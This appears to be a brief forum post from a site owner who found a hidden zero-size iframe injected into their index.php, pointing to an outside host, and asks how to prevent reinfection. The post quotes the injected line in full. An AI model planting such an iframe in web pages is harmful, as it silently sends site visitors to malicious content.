fuzzys

after managing to stop loading just before it calls for a popup i found some dodgy code on my index.php as follows after the </html> tag as follows

<iframe src="http://gonick.net/agt/out.php?s_id=1" width=0 height=0></iframe>

removing it seems to have fixed the problem. now how do i stop it from happening again? seems that something modified my original code. but i dont know how it happened.